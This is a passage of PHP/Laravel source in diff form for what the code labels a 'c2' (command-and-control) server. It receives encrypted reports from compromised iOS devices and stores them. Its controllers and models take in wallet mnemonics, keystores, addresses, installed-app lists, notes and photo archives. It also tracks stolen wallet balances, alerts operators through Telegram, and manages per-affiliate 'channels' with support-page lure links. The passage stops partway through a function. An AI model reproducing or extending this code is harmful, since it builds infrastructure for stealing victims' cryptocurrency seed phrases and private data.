public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
|
||||
{
|
||||
$this->crypto = $crypto;
|
||||
$this->archive = $archive;
|
||||
$this->ingest = $ingest;
|
||||
}
|
||||
|
||||
public function query(): Response
|
||||
{
|
||||
return response('OK', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
|
||||
public function avatarSet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function userGet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestInstalledApps($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
public function avatarPut(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function avatarStatus(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestKeystore($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function status(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function set(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function check(Request $request): Response
|
||||
{
|
||||
$rawKey = $request->attributes->get('coruna_device_key')
|
||||
?: $request->input('d')
|
||||
?: $request->input('f');
|
||||
$deviceKey = is_string($rawKey) && $rawKey !== ''
|
||||
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
|
||||
: null;
|
||||
$device = $this->ingest->upsertDevice(
|
||||
$request,
|
||||
array_filter([
|
||||
'd' => $deviceKey,
|
||||
'c' => $request->input('c'),
|
||||
'channel' => $request->input('channel'),
|
||||
]),
|
||||
$deviceKey
|
||||
);
|
||||
|
||||
// Archive password = session_key || batchBaseTimestampString.
|
||||
// Fresh scan: multipart `ts` is "0". Later batches send LastProcessedTimestamp
|
||||
// in `ts` (e.g. "1785596422") — must not fall back to "0" or 7z won't open.
|
||||
$batchBase = (string) ($request->input('batchBase')
|
||||
?? $request->input('batch_base')
|
||||
?? $request->input('base')
|
||||
?? $request->input('ts')
|
||||
?? '0');
|
||||
if ($batchBase === '') {
|
||||
$batchBase = '0';
|
||||
}
|
||||
|
||||
$xHitRaw = $request->input('x-hit');
|
||||
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
|
||||
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
|
||||
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
|
||||
$photoMeta = [
|
||||
'x_hit' => $xHit,
|
||||
'upload_count' => $uploadCount,
|
||||
'process_index' => $processIndex,
|
||||
'text_count' => $textCount,
|
||||
'barcode_count' => $barcodeCount,
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'check_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'attachment_path' => $attachmentRel,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'c2');
|
||||
}
|
||||
|
||||
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function avatarPic(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device) {
|
||||
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function profileNop(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function linkConfigList(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
||||
}
|
||||
|
||||
public function linkConfigIcon(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param mixed $data
|
||||
*/
|
||||
private function encryptedAck($data = null): Response
|
||||
{
|
||||
if ($data === null) {
|
||||
$data = ['code' => 0, 'msg' => 'ok', 'data' => null];
|
||||
}
|
||||
$enc = $this->crypto->encryptJson($data);
|
||||
|
||||
return response($enc['body'], 200)
|
||||
->header('Content-Type', 'text/plain')
|
||||
->header('timestamp', $enc['timestamp']);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Concerns;
|
||||
|
||||
use App\Models\User;
|
||||
|
||||
trait PortalAware
|
||||
{
|
||||
protected function portal(): string
|
||||
{
|
||||
$name = request()->route()?->getName() ?? '';
|
||||
|
||||
return str_starts_with($name, 'user.') ? 'user' : 'admin';
|
||||
}
|
||||
|
||||
protected function isAgentPortal(): bool
|
||||
{
|
||||
return $this->portal() === 'user';
|
||||
}
|
||||
|
||||
protected function agent(): ?User
|
||||
{
|
||||
if (! $this->isAgentPortal()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
/** @var User|null $user */
|
||||
$user = auth('agent')->user();
|
||||
|
||||
return $user;
|
||||
}
|
||||
|
||||
protected function routeName(string $suffix): string
|
||||
{
|
||||
return $this->portal().'.'.$suffix;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers;
|
||||
|
||||
abstract class Controller
|
||||
{
|
||||
//
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Hooks;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class TelegramWebhookController extends Controller
|
||||
{
|
||||
public function __invoke(Request $request, Nutgram $bot): Response
|
||||
{
|
||||
$update = $request->all();
|
||||
$message = is_array($update['message'] ?? null) ? $update['message'] : [];
|
||||
$chatId = $message['chat']['id'] ?? ($update['callback_query']['message']['chat']['id'] ?? null);
|
||||
$text = is_string($message['text'] ?? null) ? $message['text'] : null;
|
||||
|
||||
$secret = (string) config('coruna.telegram.webhook_secret', '');
|
||||
$header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', '');
|
||||
|
||||
Log::info('telegram webhook hit', [
|
||||
'ip' => $request->ip(),
|
||||
'update_id' => $update['update_id'] ?? null,
|
||||
'chat_id' => $chatId,
|
||||
'text' => $text,
|
||||
'has_secret_header' => $header !== '',
|
||||
'secret_configured' => $secret !== '',
|
||||
]);
|
||||
|
||||
if ($secret !== '') {
|
||||
if ($header === '' || ! hash_equals($secret, $header)) {
|
||||
Log::warning('telegram webhook rejected: bad secret', [
|
||||
'ip' => $request->ip(),
|
||||
'update_id' => $update['update_id'] ?? null,
|
||||
]);
|
||||
abort(403, 'Invalid webhook secret');
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
$bot->run();
|
||||
Log::info('telegram webhook handled', [
|
||||
'update_id' => $update['update_id'] ?? null,
|
||||
'chat_id' => $chatId,
|
||||
'handler' => $bot->currentHandler()?->getPattern(),
|
||||
]);
|
||||
} catch (\InvalidArgumentException $e) {
|
||||
// FakeNutgram with no update (unit tests) — still ACK the webhook probe.
|
||||
if (! app()->runningUnitTests()) {
|
||||
Log::error('telegram webhook InvalidArgumentException', [
|
||||
'message' => $e->getMessage(),
|
||||
'update_id' => $update['update_id'] ?? null,
|
||||
]);
|
||||
throw $e;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::error('telegram webhook failed', [
|
||||
'message' => $e->getMessage(),
|
||||
'update_id' => $update['update_id'] ?? null,
|
||||
'chat_id' => $chatId,
|
||||
]);
|
||||
throw $e;
|
||||
}
|
||||
|
||||
return response()->noContent();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Hooks;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TokenviewWebhookController extends Controller
|
||||
{
|
||||
public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
|
||||
{
|
||||
$raw = $request->getContent();
|
||||
$signature = $request->header('X-Tokenview-Signature');
|
||||
|
||||
if (! $monitor->verifySignature($raw, $signature)) {
|
||||
Log::warning('tokenview webhook bad signature');
|
||||
|
||||
return response('invalid signature', 401);
|
||||
}
|
||||
|
||||
$payload = $request->json()->all();
|
||||
if (! is_array($payload) || $payload === []) {
|
||||
$decoded = json_decode($raw, true);
|
||||
$payload = is_array($decoded) ? $decoded : [];
|
||||
}
|
||||
|
||||
try {
|
||||
$monitor->handleWebhook($payload);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
|
||||
}
|
||||
|
||||
// Tokenview requires HTTP 200 + non-empty body.
|
||||
return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,154 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
class DecryptCorunaBody
|
||||
{
|
||||
/** @var CorunaCrypto */
|
||||
private $crypto;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto)
|
||||
{
|
||||
$this->crypto = $crypto;
|
||||
}
|
||||
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$headers = [];
|
||||
foreach (['timestamp', 'x-hash', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent'] as $h) {
|
||||
if ($request->headers->has($h)) {
|
||||
$headers[$h] = $request->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
$raw = $request->getContent();
|
||||
$timestamp = (string) $request->header('timestamp', '');
|
||||
$payload = null;
|
||||
$decryptOk = false;
|
||||
$error = null;
|
||||
$deviceKey = null;
|
||||
|
||||
$isMultipart = str_contains((string) $request->header('content-type'), 'multipart/');
|
||||
$path = '/'.ltrim($request->path(), '/');
|
||||
|
||||
if ($request->isMethod('GET')) {
|
||||
$decryptOk = true;
|
||||
} elseif ($isMultipart) {
|
||||
$payload = [
|
||||
'form' => $request->except(['file']),
|
||||
'has_file' => $request->hasFile('file'),
|
||||
];
|
||||
$decryptOk = true;
|
||||
$deviceKey = $request->input('d') ?: $request->input('f');
|
||||
} elseif ($raw !== '' && $timestamp !== '') {
|
||||
try {
|
||||
$payload = $this->crypto->decryptJsonBody($raw, $timestamp);
|
||||
$decryptOk = true;
|
||||
} catch (\Throwable $e) {
|
||||
$error = $e->getMessage();
|
||||
}
|
||||
} elseif ($raw === '') {
|
||||
$decryptOk = true;
|
||||
} else {
|
||||
$error = 'missing timestamp or body';
|
||||
}
|
||||
|
||||
// Device id currently only from d/f (same value in live traffic).
|
||||
// /check multipart may send the hex-ascii + nibble/byte-swapped form.
|
||||
if (is_array($payload)) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
if (! empty($payload[$k]) && is_string($payload[$k])) {
|
||||
$deviceKey = $payload[$k];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
|
||||
$deviceKey = $payload['form'][$k];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (is_string($deviceKey) && $deviceKey !== '') {
|
||||
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
|
||||
}
|
||||
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'timestamp_hdr' => $timestamp ?: null,
|
||||
'headers' => $headers,
|
||||
// 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
|
||||
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
|
||||
$request->attributes->set('coruna_payload', $payload);
|
||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||
$request->attributes->set('coruna_device_key', $deviceKey);
|
||||
|
||||
$response = $next($request);
|
||||
|
||||
$this->logResponse($request, $response, $path, $deviceKey);
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
private function logResponse(Request $request, Response $response, string $path, $deviceKey): void
|
||||
{
|
||||
$respBody = (string) $response->getContent();
|
||||
$respTs = (string) $response->headers->get('timestamp', '');
|
||||
$respHeaders = [];
|
||||
foreach (['timestamp', 'content-type', 'content-length'] as $h) {
|
||||
if ($response->headers->has($h)) {
|
||||
$respHeaders[$h] = $response->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
$plain = null;
|
||||
$decryptOk = false;
|
||||
$error = null;
|
||||
|
||||
// GET /api/user/query → plain "OK"
|
||||
if ($request->isMethod('GET') || $respTs === '') {
|
||||
$plain = strlen($respBody) > 200000 ? substr($respBody, 0, 200000) : $respBody;
|
||||
$decryptOk = true;
|
||||
} elseif ($respBody !== '') {
|
||||
try {
|
||||
$plain = $this->crypto->decryptJsonBody($respBody, $respTs);
|
||||
$decryptOk = true;
|
||||
} catch (\Throwable $e) {
|
||||
$error = $e->getMessage();
|
||||
$plain = strlen($respBody) > 2000 ? substr($respBody, 0, 2000) : $respBody;
|
||||
}
|
||||
}
|
||||
|
||||
create_log([
|
||||
'dir' => 'out',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'status' => $response->getStatusCode(),
|
||||
'timestamp_hdr' => $respTs ?: null,
|
||||
'headers' => $respHeaders,
|
||||
'payload' => is_array($plain) || $plain === null || is_string($plain)
|
||||
? $plain
|
||||
: ['value' => $plain],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
class EnsureSuperAdmin
|
||||
{
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$admin = auth('admin')->user();
|
||||
if ($admin === null || ! $admin->isSuper()) {
|
||||
if ($request->expectsJson() || $request->ajax()) {
|
||||
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
|
||||
}
|
||||
abort(403, '需要超级管理员权限');
|
||||
}
|
||||
|
||||
return $next($request);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
|
||||
class Admin extends Authenticatable
|
||||
{
|
||||
protected $fillable = ['username', 'password', 'is_super'];
|
||||
|
||||
protected $hidden = ['password', 'remember_token'];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'password' => 'hashed',
|
||||
'is_super' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
public function isSuper(): bool
|
||||
{
|
||||
return (int) $this->is_super === 1;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Channel extends Model
|
||||
{
|
||||
public const OFFICIAL_USER_ID = 0;
|
||||
|
||||
protected $fillable = [
|
||||
'channel_id', 'user_id', 'domains', 'status', 'remark',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'domains' => 'array',
|
||||
'status' => 'integer',
|
||||
'user_id' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
public function user(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(User::class, 'user_id');
|
||||
}
|
||||
|
||||
public function isEnabled(): bool
|
||||
{
|
||||
return (int) $this->status === 1;
|
||||
}
|
||||
|
||||
public function isOfficial(): bool
|
||||
{
|
||||
return (int) $this->user_id === self::OFFICIAL_USER_ID;
|
||||
}
|
||||
|
||||
public function agentLabel(): string
|
||||
{
|
||||
if ($this->isOfficial()) {
|
||||
return '官方';
|
||||
}
|
||||
|
||||
return $this->user?->username ?: ('#'.$this->user_id);
|
||||
}
|
||||
|
||||
/**
|
||||
* Domains for support-link display and builder deployment_domains.
|
||||
* Channel row wins; otherwise CORUNA_LAB_CHANNEL_DOMAINS.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public function resolvedDomains(): array
|
||||
{
|
||||
$stored = $this->normalizeDomainList($this->domains);
|
||||
if ($stored !== []) {
|
||||
return $stored;
|
||||
}
|
||||
|
||||
return $this->normalizeDomainList(config('coruna.channel_domains', []));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param mixed $domains
|
||||
* @return list<string>
|
||||
*/
|
||||
public static function normalizeDomainList(mixed $domains): array
|
||||
{
|
||||
if (! is_array($domains)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return array_values(array_unique(array_filter(array_map(static function ($d) {
|
||||
if (! is_string($d)) {
|
||||
return '';
|
||||
}
|
||||
$d = trim($d);
|
||||
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
|
||||
|
||||
return rtrim($d, '/');
|
||||
}, $domains))));
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function supportLinks(): array
|
||||
{
|
||||
$links = [];
|
||||
$path = '/channel/'.$this->channel_id.'/web/support.html';
|
||||
$baseUrl = rtrim((string) config('coruna.static_site.base_url', ''), '/');
|
||||
if ($baseUrl !== '') {
|
||||
$links[] = $baseUrl.$path;
|
||||
}
|
||||
|
||||
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
||||
foreach ($this->resolvedDomains() as $domain) {
|
||||
$origin = rtrim($domain, '/');
|
||||
if ($origin === '') {
|
||||
continue;
|
||||
}
|
||||
if (! preg_match('#^https?://#i', $origin)) {
|
||||
$origin = $scheme.'://'.$origin;
|
||||
}
|
||||
$links[] = $origin.$path;
|
||||
}
|
||||
|
||||
return array_values(array_unique($links));
|
||||
}
|
||||
|
||||
public static function randomChannelId(): string
|
||||
{
|
||||
return bin2hex(random_bytes(16));
|
||||
}
|
||||
|
||||
public static function maxPerAgent(): int
|
||||
{
|
||||
$n = (int) config('coruna.channels.max_per_agent', 5);
|
||||
|
||||
return max(1, $n);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
class Device extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
];
|
||||
}
|
||||
|
||||
public function apps(): HasMany
|
||||
{
|
||||
return $this->hasMany(DeviceApp::class);
|
||||
}
|
||||
|
||||
public function events(): HasMany
|
||||
{
|
||||
return $this->hasMany(DeviceEvent::class);
|
||||
}
|
||||
|
||||
public function photos(): HasMany
|
||||
{
|
||||
return $this->hasMany(Photo::class);
|
||||
}
|
||||
|
||||
public function notes(): HasMany
|
||||
{
|
||||
return $this->hasMany(Note::class);
|
||||
}
|
||||
|
||||
public function addresses(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletAddress::class);
|
||||
}
|
||||
|
||||
public function mnemonics(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletMnemonic::class);
|
||||
}
|
||||
|
||||
public function keystores(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletKeystore::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class DeviceApp extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'bundle_id', 'name', 'version', 'is_wallet', 'meta_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'is_wallet' => 'boolean',
|
||||
'meta_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class DeviceEvent extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'device_key', 'event_name', 'desc', 'context_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'context_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Note extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'content',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'content' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Photo extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id',
|
||||
'sha256',
|
||||
'path',
|
||||
'size',
|
||||
'x_hit',
|
||||
'upload_count',
|
||||
'process_index',
|
||||
'text_count',
|
||||
'barcode_count',
|
||||
];
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class Setting extends Model
|
||||
{
|
||||
protected $fillable = ['key', 'value'];
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class TokenviewEvent extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'txid', 'address', 'coin', 'token_symbol', 'value', 'token_value',
|
||||
];
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
|
||||
class User extends Authenticatable
|
||||
{
|
||||
protected $fillable = [
|
||||
'username', 'password', 'status', 'comment', 'chat_id', 'bot_id',
|
||||
];
|
||||
|
||||
protected $hidden = [
|
||||
'password', 'remember_token',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'password' => 'hashed',
|
||||
'status' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
public function isEnabled(): bool
|
||||
{
|
||||
return (int) $this->status === 1;
|
||||
}
|
||||
|
||||
public function channels(): HasMany
|
||||
{
|
||||
return $this->hasMany(Channel::class, 'user_id');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class WalletAddress extends Model
|
||||
{
|
||||
/** @var list<string> */
|
||||
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb'];
|
||||
|
||||
/** Display decimal places per coin (UI). */
|
||||
public const DISPLAY_DECIMALS = [
|
||||
'usdt' => 2,
|
||||
'trx' => 6,
|
||||
'eth' => 6,
|
||||
'btc' => 8,
|
||||
'bnb' => 6,
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'address', 'chain_type',
|
||||
'usdt', 'trx', 'eth', 'btc', 'bnb',
|
||||
'monitor', 'source',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'monitor' => 'integer',
|
||||
'usdt' => 'decimal:6',
|
||||
'trx' => 'decimal:6',
|
||||
'eth' => 'decimal:18',
|
||||
'btc' => 'decimal:8',
|
||||
'bnb' => 'decimal:18',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
/**
|
||||
* Map a symbol=>amount payload into coin column attributes (only known coins).
|
||||
* Missing symbols are omitted (caller merges with existing row).
|
||||
*
|
||||
* @param array<string, mixed>|string|null $balance
|
||||
* @return array<string, string|int|float|null>
|
||||
*/
|
||||
public static function coinAttributesFromBalance(mixed $balance): array
|
||||
{
|
||||
if (! is_array($balance)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
foreach ($balance as $symbol => $value) {
|
||||
$col = strtolower((string) $symbol);
|
||||
if (! in_array($col, self::COIN_COLUMNS, true)) {
|
||||
continue;
|
||||
}
|
||||
if ($value === null || $value === '') {
|
||||
$out[$col] = null;
|
||||
continue;
|
||||
}
|
||||
if (! is_numeric($value)) {
|
||||
continue;
|
||||
}
|
||||
$out[$col] = $value;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public static function displayDecimals(string $coin): int
|
||||
{
|
||||
$coin = strtolower($coin);
|
||||
|
||||
return self::DISPLAY_DECIMALS[$coin] ?? 6;
|
||||
}
|
||||
|
||||
public static function formatAmount(string $coin, mixed $amount): string
|
||||
{
|
||||
if ($amount === null || $amount === '') {
|
||||
return '';
|
||||
}
|
||||
if (! is_numeric($amount)) {
|
||||
return (string) $amount;
|
||||
}
|
||||
|
||||
$decimals = self::displayDecimals($coin);
|
||||
